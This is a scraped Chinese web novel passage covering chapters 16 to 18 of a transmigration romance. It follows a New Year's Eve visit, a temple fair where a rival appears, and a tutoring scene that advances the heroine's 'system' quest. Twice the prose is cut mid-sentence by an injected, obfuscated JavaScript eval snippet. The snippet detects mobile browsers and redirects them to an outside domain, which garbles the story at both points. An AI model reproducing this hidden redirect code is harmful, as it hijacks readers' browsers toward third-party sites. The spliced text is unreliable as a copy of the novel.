怎么能问女生有没有穿衣服呢,简直跟耍流氓没区别啊。 “你管我。小的还教训起大的来了。” 但好在温初夏并没有觉得被冒犯,或者只是碍于面子没有表现出来。 她轻哼一声,口嫌体正地抱紧了胳膊,又吸了吸鼻子,和时准并排在寂寥无人的街道上。 所以时准也就没有提起她只比自己大了一岁,准确来说,只比自己早出生九个月的事。 尽管他之前已经提过很多次了,在温初夏试图端起姐姐的架子压制他的时候。但这人每次都把他的话当作耳旁风。 温初夏对这片儿比时准要熟悉得多,所以时准全程由她带路,跟着她很随意地想往哪儿走就往哪儿走。 哪怕后来温初夏也分不清方向了,两人在一条曲折昏暗的无人小巷里绕了半天也没绕出去,他也还是觉得惬意,没有一点迷路的慌张。 好像只要她在身边,总会觉得很安心。 仔细想想确实如此,温初夏那么聪明,那么冷静,还很独立,似乎无论什么困难都难不倒她。 而时准眼中难不倒的神人,此时正一脸无语地盯着路边几乎溢出来的黑色垃圾筒,啧了声,头疼道:“怎么又是这个垃圾桶啊,大过年的,我们不会是遇上鬼打墙了吧?” 她从大衣口袋里拿出前段时间买的二手手机,点开地图软件,想要看看究竟该怎么绕出去,身旁忽然响起一道铁门被推开的吱呀声,余光注意到时准立刻靠她近了些。 什么情况?有危险? 还没抬头,温初夏就听见一个熟悉的声音—— “温初夏?时准??你俩怎么会在这儿???” 李确抱着个垃圾桶,里面满满当当全是放过的烟花爆竹,穿着棉拖鞋的一双脚一只跨到铁门外,另一只还在铁门里,显然是被俩人同框出现在这里的事实震惊到忘记走路了。 “李确?”发现是熟人后,时准刚才紧绷起的神经迅速松懈下来,问:“你住这儿?” 李确点头:“是啊。” 剩下的那只脚跨出门。 时准心说难怪,明明李确和自己一个班,却在很早之前就和温初夏相熟了。 好羡慕。 李确走到他俩面前,好奇的眼神在他俩之间来回移动,八卦地问:“还没告诉我你俩为什么会在这儿呢,今晚可是除夕啊,你俩难道是一起过的年吗?” “我、我们……”时准不知道为什么自己会突然结巴。 他脸快红透了也没说出个所以然来,温初夏怕李确误会,赶紧豪迈地一拍时准的肩膀,把对方拍的一激灵,十分坦诚地说:“我是他干姐姐,他是我干弟弟,我俩一起过年,很正常啊。” 闻言,时准侧目看着她,很想反驳,但当着李确的面又没法说出口,只是嘴唇委屈地动了动。 李确才知道他俩之间居然还有这层关系,震惊之后赶紧请他们进屋坐,说每年过年家里都只有自己和爷爷两个人,挺冷清的,他们来的正好,可以一起热闹热闹。 温初夏来李确家借还过四五次书,所以她一点儿不拘谨,和时准一起先进院子再进屋。 屋子里,李确他爷依旧冠冕堂皇地坐在轮椅上,双腿盖着毛毯,树皮般皱巴巴的一双手搓着花生皮,搓完后将白嫩的仁往上一抛,努力用嘴去接—— 诶,没接着。 准头果然还是一如既往的差。 温初夏默默呼了口气。 这小老孩儿,好悬没闪着脖子。 客厅的电视机正在播放春节联欢晚会,茶几上摆了几盘花生、卤味和水果,轮椅旁边是一盆烧得旺旺的炭火。虽然人少,但很温馨。 从表面上看,李确爷爷完全就是一位虽然腿脚不便,但身残志坚依旧笑对生活的乐天派形象。 但温初夏知道这老头儿究竟有多奇葩。 假瘸老头儿应该是提前听见了门外的声音,所以当看见李确领着温初夏和时准进来的时候,并没有表现出惊讶,把花生米从衣领缝里拿出来塞进嘴里,然后很自来熟地端详起时准,问温初夏: “大闺女,大过年的不呆在家里,带着你弟玩离家出走呢?” 本来时准进来看见李确的爷爷坐在轮椅上,心里是有些怜悯和同情的,没想到他一开口就精准打击到了自己的雷区,本想反驳,但想起刚才温初夏对李确说的话,更加觉得有口难言。 结果温初夏笑得十分欢快,拉着时准问老爷子:“爷爷你好眼光啊,你仔细看看,我和他站一起是不是特别像姐弟?” “你气质成熟。”老爷子弯腰又抓了一把花生米,笑眯眯地说:“李确和你一样大,站你旁边看着也像你弟弟。” “爷爷你行了啊。”李确没好气地打断他,“我哪点不成熟了?我明明都快熟透了好吗,今晚的年夜饭可全是我一个人做的。” 老爷子乐呵呵地捋着胡子:“不管怎么样,在爷爷眼里,你永远都是那个因为分不清袜子左右脚,气的嗷嗷哭的小孩儿。” 李确:“……” 温初夏:“哈哈哈。” 时准很暖心地忍住没笑,目光越过温初夏看着李确,问:“可袜子不是本来就不分左右脚吗?” 被提起黑历史的李确有些不好意思,他放下刚端起的桃汁,解释说:“确实是不分。但我当时处在秩序期,特别爱钻牛角尖,为了能区别清楚左右,我每对袜子颜色都不一样,当时还被同班的小朋友笑话,说我天天袜子都穿错。” …… 聊着聊着,老爷子提起过几天南郊的海子公园即将举办新春庙会,提前筹备了很久,听说会特别漂亮、特别热闹,让他们小年轻到时候可以去玩一玩。 时准正愁寒假剩下的十几天没有理由和温初夏见面,一听到要举办庙会,立刻用胳膊碰了碰身边坐着的温初夏,一双眼睛明显带着期待:“那咱俩一块儿去呗。” 又是原著没有的剧情。 上次她之所以答应去时准家做客,完全是奔着讨好林茵陈去的,但这次林茵陈又不在,就单独她和时准两个人逛庙会,有什么意义? 所以温初夏干脆地拒绝:“我那天没空。” 时准眼里的期待一下变成了委屈:“可还没说是哪天呢。” 温初夏:“……” “大闺女,你得去。”老爷子右手盘着他那对油光瓦亮的核桃,被炭火烤得红润的苍老面容似乎含着一种意味不明的笑。 “相信我,不去的话你肯定会后悔的。” 被他这么看着,温初夏心里涌起一点疑惑的情绪,问:“为什么?” 老爷子一本正经地说:“因为这么大规模的庙会,七年才会办一次,这次你要是错过了,下一次就得等七年之后了。” 听了他的回答,温初夏心里那道微微翘起的边,又悄悄落了回去。 她扭头看了眼墙上的时钟,发现快十二点了,跟李确爷孙俩告别之后,和时准一起离开。 两人刚走到院门口,李确忽然从身后叫住他们:“等一下!” 温初夏和时准同时回头。 “这个,给你们吃。” 李确把一个刚从炭火灰下扒拉出来,用报纸包裹着的热气腾腾的烤红薯递给温初夏。 “本来我是烤了俩的,但被我爷爷吃了一个——不过这个红薯个头很大,够你俩吃的,你们分一分吧。” “谢谢。”温初夏感觉这红薯不是一般的烫。 “不用谢。”李确挥挥手,“新年快乐,回去的路上小心点儿,天黑注意安全。” 铁门一关,温初夏就受不了把手里的烫手红薯塞给时准,摸着耳朵道:“烫死了烫死了!” 红薯刚从炭火里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15502007|170387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 薅出来的,确实很烫,时准也拿不了多久,默不作声地用两手来回替换着拿,被温初夏发现后,就变成了两人接力。 快到零点了,高楼的灯火不变,但无人的街道却愈发冷清。风吹动光秃的树枝,发出干燥孤寂的声响。 两人各自想着心事,在并不尴尬的沉默中交换了几个来回,直到温初夏说:“啊,好无聊啊,我们来玩个游戏呗。” “什么?” 时准盯着温初夏倾斜的影子,把注意力拉回现实。 “马上就要零点了,到时候这附近应该会放烟花,我们现在开始每人轮流说一个愿望,不能随便说,要特别真心实意的那种,比比看谁运气够好,在烟花响起的瞬间说出愿望的那个人,对方要帮他实现这个愿望。” “好。”时准觉得很有意思,“你先说。” “嗯……”温初夏想了想,“希望我永远都能过自己想过的生活。” 时准笑:“你这个愿望也太抽象了吧,要我怎么帮你实现?” 温初夏懒洋洋的:“本来就没期待你能帮我实现啊,不然我干嘛放在第一个说。” 她稍微有点困,仰头伸了个懒腰,眼底浮出一层水光,让她脸上的神情变得异常清晰,轻飘飘的语气听起来却很坚定:“这个愿望只有我自己能帮自己实现,就不麻烦你啦。” “到你了。”她把红薯也递给时准。 时准接过后,思考了很久,久到温初夏都以为他是不是不想通过故意拖延来卡时间,才终于听见他慢吞吞道:“希望我们一家人,还有你,都能健健康康、长命百岁。” 真是老套的愿望。 “哟,把我也加上了啊。”温初夏好整以暇地瞥他一眼,调侃道:“终于承认我是你姐姐了?” 时准没想到她还能这么扯,赶紧撤回一个愿望:“谁承认了,我要换一个。” 温初夏:……还是死犟种。 又是半晌,时准低下头,眼睛看着脚下的路,说:“希望我妈以后能够放下。” 他没具体说放下什么,但温初夏也清楚,他是希望林茵陈能对时淼的死不要再耿耿于怀。 又到温初夏了,她还是没怎么思考就轻松说出口:“希望下学期我的英语成绩能不再拖后腿。” 时准差点儿一口喷出来:“你是想下次考试总分甩我四十吗?” 136分的英语也算拖后腿? 而且上次的英语卷真挺难的,他自己也才考139.5。 温初夏握起一只拳,欠欠地说:“借您吉言,我会努力的哦。” 她把他手里的红薯拿过去,“Pleasesay。” 这回时准倒是没花太长时间思考:“希望我爸以后能多休息,这段时间他工作太忙了,回家总是……” “诶诶!”温初夏忍不住打断他,“能别说完你妈就说你爸吗,你就不能许点儿和自己有关的愿望?” 现在这么无私大爱有什么用啊,等以后变成阴暗病娇你就老实了。 被她这么教训,时准有点不好意思,他摸了摸耳垂,想了一想,说:“那希望我能长的更高,长到……一米九?” 温初夏:“……” 哈哈,可真是个好愿望。 她看着时准的侧脸,轮廓俊秀但青涩未褪,依然是那副温柔乖乖仔的样子,但还是感到了紧张,和没安全感。 她需要做点什么,来让自己安心。 温初夏忍着烫把手里的红薯掰成两半,腾腾的热气和烤红薯甜蜜的香气一起冒出,让人的心底也跟着温暖起来。 她一手拿一半,对时准说:“叫我姐姐,不然不给你吃。” 时准停下,转过身,盯着她一本正经的眼睛看了几秒,忽然俯下身,咬了一口她左手拿的红薯。 “你……”温初夏瞪着时准,强忍住想糊他一脸的欲望,“硬抢啊你!” “本来就是咱俩一人一半。” 时准努力嚼嚼,急促地将这一口咽下,被烫的连说话时的哈气都更白了,还是倔犟道:“而且我说过多少回了,我才不要当你弟弟。” 温初夏服了,干脆把那一半红薯给了他,又忿忿地咬了一口自己的,用势在必行的语气说:“总有一天我会让你叫我姐的。” 时准学着她刚才的模样,也握了握拳,语气相当不真诚:“那您也加油哦。” 温初夏气的想龇牙。 这时,不知道从哪个方向远远传来几道很模糊的说话声—— “咱什么时候开点啊?” “快了,再等等,我这儿掐着表呢,还有四十秒。一会儿我一声令下,你就点啊。” “好。” 温初夏心中一动。 明明该她说愿望了,她却只顾两手捧着热乎的红薯埋头苦吃,吃得极其投入,仿佛之前那份关东煮是进了狗肚子。 这点小心思很快就被时准给勘破。 “你是在拖延时间吗?”他问。 心里的倒计时和腮帮子同时顿住,温初夏把头埋得更低,含糊道:“不,我在思考。” 在等着让你叫我姐。 “你知道吗。”时准忽然轻笑起来,说:“一起补习的时候,我经常在你做题的时候偷偷观察你。” “什么??”忽然的话题转变让温初夏立刻侧目。 她心里十分诧异:我怎么一点儿没发现呢! 时准伸出一根手指,戳在自己有些冰凉的脸颊上,说:“你思考的时候,会下意识用笔帽戳右脸靠近嘴角的位置,看起来……” “怎么,你是觉得很蠢吗?” 因为太过震惊,温初夏变得不客气起来,单手叉着腰,已经不知道把倒计时抛到哪儿去了。 “不,一点儿不。” 时准放下手,用那他双黑润透彻的眼睛直直看着她,说:“每当你做那个动作的时候,就好像是多了一个酒窝,看起来特别漂亮。” 他的目光坦诚,且毫无保留,证明他所说的一切都是他的真心话,并且是藏在心里很久的真心话。 怕温初夏不信,时准又强调了一遍: “真的,特别特别漂亮。” 比天边的月亮还要漂亮,比悬崖盛开的花朵还要美丽,更重要的是,那个样子的你只有我能看见。 只有我,一个人能看见。 温初夏,你知道吗,在阚老师的语文课上,我曾试图想为你写一首短诗,但失败了。 因为我发现,世间所有形容美好的词汇都与你的名字合辙押韵,所以我总是控制不住地想要多写加一点,再多加一点。 到最后,短诗写成了长篇,内容连我自己看了都忍不住要脸红。 可我还是想把它念给你听。 如果我可以。 如果你愿意。 一道尖锐的鸣声直冲云霄,随即,青黑的夜空被无数绚烂的烟火点亮,是人类代替落山的太阳,向夜晚献上的热烈的吻。 “温初夏。” 时准笑着,烟花同样也在他眼底绽放。 “我们一起去庙会吧!” 17. 第 17 章 夜晚。 城市华灯已起,大街小巷被春节的气氛渲染成火红一片,沿街的商铺装饰着红窗花、红春联、红灯笼,水泄不通的马路上,头尾相接的车灯顺着连成弧线,人声鼎沸,热闹至极。 除夕过后,年味儿反倒越来越浓。 与此同时,交通状况也越来越差。 在蚊子飞进来也会被夹死的车流中,不满的喇叭声起此彼浮。 时准坐在奔驰后座,打开车窗,略微伸出半个头去,试图看清前面究竟是从哪儿开始堵起来的,却发现根本看不到源头,自己反而还吸了不少汽车尾气。 时准被呛的咳了两声,关上窗又问司机:“潘叔,前面还要堵多久啊?” 潘达看了眼导航,回:“挺久的,光这一段就得堵个二十分钟。今天游客太多了,全是来海子公园逛庙会的,公园门口说不定还更堵呢。” 时准彻底服了气,后背靠回到椅背上,眉心烦躁地蹙起,搭在大腿上的手指不停敲打着,给隐约穿进车内的喇叭声和着拍。 其实,时准是个很淡定的人,有着远超同龄人的成熟和沉稳,这点无论是从外人看来,还是他本人对自己的评价,都是如此。 每当遇到什么突发状况,他总会习惯性地先让自己保持冷静,因为只有心里稳当,做事才会不慌。 但此刻,他被迫困在拥堵的车流之中,虽然心里很着急,却什么也做不了。 没一会儿,时准就忍不住又打开车窗,但眼神还没抛出去,就被旁边非机动车道上飞驰而过的电瓶车带起的冷风吹乱了头发,同时,也把他心里那团急躁的火吹得愈发旺盛。 他干脆打电话给了温初夏。 几道铃声后,电话那头传来女孩懒洋洋的清冽嗓音—— “我已经在公园门口了,你人呢?” 那边的背景音很杂乱,游客浑浊的喧闹和维持秩序的喇叭声混成一片,没比这边儿密恐看了要叫救护车的马路好多少。 时准瞬间心里一沉,抬手把前额被吹乱的头发弄整齐,十分抱歉地说:“我堵路上了,不知道什么时候才能到,你别站在门口等了,自己先进去逛吧,今晚人是不是很多?注意安……” 话还没说完,电话那头忽然“咦?”了一声,温初夏自言自语地嘀咕道:“居然碰到他了……” “什么?”碰到谁了? 时准弄头发的手顿住。 “没什么。你慢慢儿来吧,不着急,一会儿到了给我打个电话,挂了啊。” 温初夏语速很快,叫人根本没法插嘴。 “滴”一声后,时准看着屏幕上通话结束的界面,不知为何,心里有些空落落,感觉心脏像是被戳了个小洞,正无声无息地透着风。 很快,小洞一点点蔓延,那股微妙敏感的情绪也跟着迅速膨胀,让时准几乎坐立难安。 他从来没有过这样的感受,就好像一个人站在起跑线后准备比赛,等了又等,等了再等,却迟迟听不见发令枪响。 于是,他干脆抢跑了。 “少爷!你这是去哪儿?!” 潘达扒着车窗,大惊失色。 在稍不注意就会被撞到的拥堵车流中,时准朝自家司机挥一挥手,高声道:“你回去吧,路太堵了,我跑着去。” 时准刚才在车上已经看过好几遍地图了,记得路线。 从他下车的地方到公园门口距离2.7km,需要拐四个弯,等五个红绿灯,算上等待的时间,他大概18分钟就能到。 今夜的南郊极其热闹,不仅马路上堵,路边的人行道也是摩肩擦踵熙来攘往。 尽管时准已经足够小心翼翼了,但还是好几次差点撞到人,收到不少责怪的目光。 这要放在平时,他一定会尴尬地感到抱歉和脸红,但此刻,因为脑子里一直想着那个人,他丝毫不在意周围传来的或好奇或谴责的目光,一路飞快地跑着。 并且,他也一点不觉得累,甚至于越跑越快。 破了洞的心脏被补了洞,吹了气,高高飘起,一如他此刻的心情,因过度兴奋而感到一阵飘忽不定,仿佛万有引力对他失去了作用。 他像只充满氢气的气球,唯一能够拉住他以免他一路飘到外太空的,就只有那个人而已。 很快就到了最后一个红绿灯,距离绿灯亮起还有57秒。 时准停在斑马线后,拉下外套拉链,感觉热的像是快被蒸熟了,后背的汗水大颗大颗往下滑,连后颈的短发都是半湿的。 他拿出手机看了看时间,发现才过去15分钟。 很好,没有让她等太久。 时准放回手机,调整着呼吸,目光平视前方。 前面站着一对年轻情侣,其中的女生似乎是等的有些不耐烦,瘪嘴抱怨了句天好冷,男生就把自己脖子上的围巾取下来,给她围上,同时教训说:“让你只穿这么点儿。” “哎呀好看嘛!”女生娇嗔着,轻轻踢男友一脚。 身后,时准扯着领口透气的手忽地停住。 他像是想起了什么,扭头四周看了看,目光很快锁定在西南方不远处的一家精品店,几乎没有任何犹豫地转身,向店里走去。 等到绿灯第二次亮起时,时准以比刚才还要再快一些的速度飞跑过斑马线,手里拿着一个印有Logo的牛皮纸带,袋子里,是一条深红色的格子围巾。 她皮肤那么白,红色一定很衬她。 时准这样想着,忍不住在奔跑时笑出声,随即又觉得这样的举动很傻,赶紧强行把嘴角压了下去。 年轻的身体轻快如燕,而皮肉之下,一颗心脏正猛烈地敲击着灵魂。 “咚、咚、咚……” 我能感受得到她在哪儿…… 这感觉简直太奇妙了。 就好像上帝垂怜,让他和她之间,有了某种命中注定的缘分。 也让他被无穷的快乐包裹住。 “温初夏!” 终于看到那个熟悉的背影,时准忍不住朗声喊出来,每一个音调、每一个语气都带着笑。 不远处,站在灯火阑珊下的少女闻声回头,看见他后,也惊讶地笑了,朝他挥挥手,示意他过去。 但时准却停下了脚。 他喘了好几口急促的粗气,勉强安抚好心跳,和与心跳一般汹涌激荡的情绪,这才一步一步,轻飘飘向温初夏走去。 今天的她还是穿着除夕那晚的灰色呢子大衣,并且不嫌冷的把领子给翻了下去,露出雪白的天鹅颈。 浓黑润泽的长发扎成低马尾,一缕轻柔的碎发贴在左侧的鬓角边,长至下巴,恰到好处的弧度让她原本明艳精致的脸多了几分知性的温柔。 她好漂亮啊。还是和从前不一样的漂亮。 这样的她,好像叫声姐姐也不是不行。 随着距离逐渐拉近,时准紧张地咽了咽口水,捏紧了手里的袋子,心里快速措着辞,思索该怎样把围巾自然不突兀地送出去。 然而,当他即将走到温初夏面前时,一个完全在时准意料之外的人忽然闯进视线—— 男生个子很高、非常惹眼,染着一头夺目的金发,耳垂嵌着两枚黑色耳钉,一声不吭地出现在温初夏身后。 他手里拿着两串糖葫芦,一串山楂一串草莓,故意坏心眼地用竹签末端,去戳没注意到他已经回来了的女孩的肩膀。 温初夏被戳的一激灵,皱眉瞪过去,看见他手里的东西,伸手想要去拿那串草莓的,但宋云泽却偏偏不如她一,立即把手抬高,一口咬下最顶上的那颗红彤彤的草莓。 “我刚才都说了我要草莓的!”温初夏气的踢他一脚。 “但那个摊位就剩这一串了。” 宋云泽灵活躲过,是二人不知道什么时候形成的默契。 因为嘴里塞了东西,他这话说得含糊且欠打:“不巧,我也想吃草莓。” 这时,一阵风裹挟着四周的欢声笑语和热闹烟火忽地吹过,明明不怎么冷,甚至还带了几分春天的气息,但时准的身体在瞬间凉了下去。 心脏仿佛被扎破的气球,在空中无力地打了几个转,最终落在冰冷的地面,沉的发疼。 他自认为已经跑得足够快了,可殊不知,枪声早在他来到起跑线之前,就已然打响。 …… 开学。食堂。 “她真是你姐姐?堂的还是表的?一点儿看不出来啊!” 宋云泽在时准对面坐下,说这话的同时将桌上的一罐甜牛奶打开,吨吨吨灌下去一半,被折磨了一个上午干到爆炸的喉咙总算是舒服了。 在宋云泽仰头灌溉时,时准一直盯着他手里的牛奶罐看,等到他喝够了,又立马移开视线,干巴巴的语气没什么情绪:“不是亲的,是认的,她是我妈干女儿。” 宋云泽“哦”了声,将半空的易拉罐放在餐盘旁,抓起筷子道:“怪不得,我就说你俩怎么从长相到性格一点儿也不像呢。” 然后,他开始和时准大吐苦水: “我跟你说我今天真是倒了血霉了,班主任居然把我安排在温初夏旁边,还让她监督我学习!你知道的,我从小到大都是上课睡觉放学胡闹,作业不写考试不抄,就没有一个老师敢管我。这次肯定是我妈或者我姐提前给班主任打了招呼,让她把我安排在一个女魔头旁边,硬逼着我学。” 时准垂眸看着碗里的白米饭,筷子有一下没一下地夹着饭粒,表情淡淡的,问:“她怎么逼你的?” 宋云泽提起这个就来气,导致夹菜的力道没控制好,一筷子把小砂锅里的嫩鱼片夹的稀碎。 “我一睡觉她就用笔捅我,一走神她就问我讲到哪儿了,我说我不知道,她就用一种看sha……特别轻蔑的眼神看着我。而且她还逼我背课文呢,整整两节自习课,两节!我嗓子都快冒烟了!” “但你可以选择不听她的呀。” 时准细细嚼着饭粒,被睫毛掩盖住部分的眼神有些空,但凡有点心眼,都能看出他的食不知味。 但可惜,坐对面的这位刚巧是个没心眼的。 “我没、得、选。” 宋云泽咬牙切齿,完全沉浸在自己的悲伤中无法自拔。 “早上第一节下课后我收到了我姐的信息——她居然趁我不在家,偷偷去我房间把我的车钥匙全收了!一把都没给我留!说什么时候我语数外平均分能过60,就什么时候还我。” “而且,更过分的是,她居然还拜托温初夏让她每天下午放学后给我补课,补两个半小时。”宋云泽真想撞墙,“我真是奇了怪了,这俩大魔头究竟是什么时候背着我有联系的?!早知如此,当初我就应该转到你……” “什么?”时准忽然抬起头,“她要给你补课?!” 宋云泽愣住:? 不er,兄嘚,我前面说我的机车钥匙被收的时候你不声不响,一说你姐要给我补课,就激动上了??? 这有什么可激动的啊,难道你不该为可怜的我感到悲哀才对吗。 见宋云泽满头问号,时准这才反应过来自己一时失了态,忙掩饰地干笑两声,解释说: “抱歉啊,我就是有点儿惊讶,温初夏平时特别特别忙,课余时间全用来学习了,我没想到她居然愿意抽出时间来给你补课。” “她有这么爱学习?”宋云泽小声嘀咕,“我明明看见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15502008|170387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她在数学课上玩捏捏啊……” 还是个会发光的粉色小球,可软乎了,看的他都有点儿手痒。 但此时太多纷乱的东西占据了时准的大脑,导致他没听进去宋云泽后面这句话。 片刻后,时准抬起头,试探地问:“你们,放学后是要去哪儿补课?” “赶紧收拾东西,和我去西门外面那家咖啡厅。” 高二(3)班,下午的最后一堂物理课刚刚结束,教室里一片散漫,唯独后门的气氛剑拔弩张。 宋云泽疑似失去所有力气和手段,正脸朝下地趴在干净的没有一本书的桌面上,消极抵抗:“不去,死也不去。” 今天白天在学校已经被折磨得够惨了,放了学还要继续?想得美! 面对他的不配合,温初夏毫不在意地继续收拾书包,冷了几秒,轻声说:“行啊,随你,但我肯定会告诉你姐,让她把你的车钥匙全都扔海里。” 宋云泽“噌”一下坐直了,他不明白,温初夏明明声音这么好听,长得也……还、还行吧,怎么一开口就跟手榴弹附体了似的,指着他的弱点炸呢,简直凶残,毫无人性! 可一想到那一箱被收走的机车钥匙,宋云泽心里刚燃起的小火苗又“噗”,灭了。 他也是没想到,自己放荡不羁随心所欲了十六年,这回只不过是简简单单转了个校,怎么全世界忽然都开始和他对着干了。 先是他爸指着他的鼻子骂: “都快成年的人了,一天天还这么好吃懒做不学无术,身边狐朋狗友一大堆,每次一找你不是在网吧就是在飙车,肯定是你现在的学校学习氛围不够浓郁,给我转学去!” 然后是他妈: “你看看你的成绩单,语文71,数学17?!选择题你全选C也不止考这么点儿吧!还有英语,这些年老娘是不是没少带你出国旅游?啊?你连howoldareyou都听不懂,丢不丢人!我当年又不是拿大头奶粉喂的你,怎么能笨成这样啊!” 最后是他姐: “弟啊,高二了,该收收心了,你藏在卧室衣柜下层保险柜里的车钥匙姐先帮你保管着哦~妈妈说等你什么时候语数外三科平均分上60了,就会还给你(一把)。嘻嘻,加油吧少年(^-^)” 以及现在,身边还多了个一言不合就用智商进行降维打击的温初夏,宋云泽感觉自己整个人生都灰暗了,燃烧了一天的反抗之魂此刻终于殆尽。 他烂泥一样半滑出椅子,显得一双腿好像有两米那么长,“你就不能只收钱不办事儿吗!”他很是愤恨。 “不能。”温初夏断然否决。 她动作利落地收拾好了书包,冲宋云泽一抬下巴,漂亮的眉毛轻挑,语气高傲又义正言辞地道:“我是个有原则的人。” 这句话换来的是宋云泽审视中带着哀怨的目光:“你真的和我第一次见你的时候很不一样。” 那天温初夏遛导购遛的这么欢,看起来完全不像是会这么一板一眼的人啊! 温初夏心想:废话,主线开始前和主线开始后能一样吗,我现在肯定是要百分百按照《等风说雨停》里女主温初夏的人设来啊。 “谢谢你告诉我。”她毫无感谢之情地说,“但我对你对我的初印象并不是很感兴趣——走吧,去晚了咖啡厅就没座了。” 切!脾气又倔又冷的傲娇女。 宋云泽很不高兴地“哼”了,终于肯纡尊降贵地站起来,把挂在椅背上空荡荡没有任何东西的书包往肩上一扔,语气和态度一样懒散:“行,走呗。” “……”温初夏嘴角抽了抽,“不拿书你怎么学?” “不拿书为什么不能学?” 宋云泽两手一摊,本着花了钱就是大爷的原则,心安理得地向乙方提出各种刁钻要求:“你不是年级第一吗,这么厉害,就算不用书肯定也能教会我的。” “对吧,小温老师?” 宋云泽一脸坏笑地俯下身,故意和温初夏离得很近,想近距离观察自己这位学神同桌的面部表情,期待她会气急败坏,面红耳赤,然后撂挑子不干走人。 时准刚到三班后门就听到了这个称呼,眉心瞬间折起,抬手在门框上敲了两下,想引起二人的注意。 谁知听到动静的宋云泽还以为是刚离开的物理老师又折了回来,身体一晃,接着不受控制地往前倒去,把温初夏逼的赶紧后退,但没退多点儿,后背就贴到了冷冰冰的墙上。 即将撞上的前零点一秒,宋云泽抬起左手,在她脸旁边撑住—— “叮!” 四目相对间,温初夏听到脑海里响起系统音: “恭喜宿主提前触发《等风说雨停》关键情节——‘壁咚’,攻略任务进度增长10%,界面融合度上升5%,目前界面融合度为65%,请宿主再接再厉,继续加油!” 听到通知的温初夏简直乐开了花。 她穿来这个界面这么长时间,上次靠拼死立人设补回来的融合度不算,这次是第一次任务进度大涨,简直有种守得云开见月明的感觉,太激动了。 于是她没能控制住表情,嘴角上翘,卧蚕鼓起,轻轻笑出了声。 宋云泽还处于兵荒马乱中没回过神来,见眼前的人忽然笑了,还笑得这么高兴这么好看,白皙的皮肤,耳朵和脸颊都染上绯红,好像抹了胭脂的月亮。 本来就没回神的宋云泽干脆直接呆住了,眼睛直愣愣的,只顾盯着温初夏看。 直到不知从哪儿冒出来一只手,横插到两人之间,揪住他的衣领,把他用力一推。 随即听见一道冷淡的声音—— “真不好意思,刚才吓到你了?” 18. 第 18 章 温初夏侧目,发现时准不知什么时候出现在了后门口,刚才推过宋云泽的那只手又自然地扯上了她的校服袖子,把自己拉到他的身边。 “你怎么来了?” 温初夏惊讶的目光先是落在时准明显有些紧绷的侧脸,接着又看见他脖子上围的深红色格子围巾,因为激动的情绪尚未平复,所以一开口,语气还是笑着的: “平时总看你穿白色和灰色,要不就是浅色,没想到你穿红的也这么好看啊,特别衬你!” 显得黑色的头发和眉眼更黑,白色的皮肤更白,整个人都变得更加清晰、生动、有活力了。 不像从前的他,虽然很温文尔雅,但温顺中总透着一股子憋闷,典型的想的很多但倾诉的很少的青春期别扭少年。 好吧,其实他本来就在青春期。 措不及防被夸一通,时准先是一愣,紧接着,心中那团凝聚了许久、马上就要落下雨的阴云便迅速消散了,像薄膜中被挤出的气泡,起伏的心绪瞬间平坦。 见温初夏一脸惊喜的表情,时准也发自内心露出一个浅笑,左手扯了扯背包带,问:“你俩现在是要去补课吗?” 温初夏不乐了:? 时准诚恳道:“能加我一个吗?” 温初夏:??? 她看向宋云泽,问:“你告诉他的?” “对啊。”宋云泽靠坐在课桌上,耳廓还红着,正心不在焉地整理刚才被时准揉皱的衣领,说话时眼睛不敢温初夏,因为尴尬。 宋云泽是个很粗线条的人,他并不觉得时准的那一推有暗含什么其他意味,反倒还很感激时准的及时出现,让他不至于露出更加愚蠢的表情。 整理好放下手,宋云泽又补了一句:“中午吃饭的时候说的,反正又不是什么秘密。” 温初夏:“……” 我服了你个老六。 果然,不怕神一样的对手,就怕猪一样的队友。 十五分钟后。 西门外的咖啡厅。 三人一起坐在靠墙的卡座,桌上摆了几份饮品和精致的甜点,但更多的是书和笔,时准主动和温初夏坐在一边,围巾取下放在身后,宋云泽就坐在另一边,正对着温初夏。 由于这位大少爷作业课本一样没带,温初夏就把自己的数学习题册给他,里面有她提前勾好的题,让宋云泽试着先做做看,遇到困难了再问她。 有时准在旁边看着,多少要点儿面子的宋云泽没法再用撒泼赖皮大法,只能憋屈地抓起笔杆老实读题,但因为他上课从来不听讲,尤其是数学,所以第一道就卡住了。 和题目大眼对小眼地看了好半晌,宋云泽烦躁地把笔一扔,终于勉强克服掉心理障碍,想去问温初夏,没想到却被时准抢了先—— “诶,你能看一下这道怎么做吗?” 时准垂着眸,鸦羽般漆黑浓密的睫毛遮挡住他的视线不能往前看,同时,也隔绝开宋云泽的目光。 宋云泽:? 时准不动声色地凑的离温初夏更近了些,声音压的很低很小:“我不太会……” 温初夏的作业早在课上就写完了,正百无聊赖、一目十行地读着英语报,闻言往递过来的题集上瞅了两眼,简洁点拨:“你把F点和G.点连一下,D点和AB段的中点连一下,用相似和共圆来证。” “哦——”时准恍然大悟地点点头,然后对她露出一个感激的笑:“原来还能这样画辅助线啊。” 温初夏却觉得这话有点假,撇了撇嘴:“不是吧,这题你都不会?” 笑容又变得有些腼腆,时准低下头:“刚才脑子没转过来。” 两分钟后。 脑袋又凑了过来,笔帽戳戳题目,声音还是很低,听着莫名像在哀求,又像撒娇:“这道,不会。” 温初夏看过去,手里的报纸没松开。 这道比较难,温初夏没能一眼看出来解法,但身为学霸的自信让她敢于顺着思路边看边说: 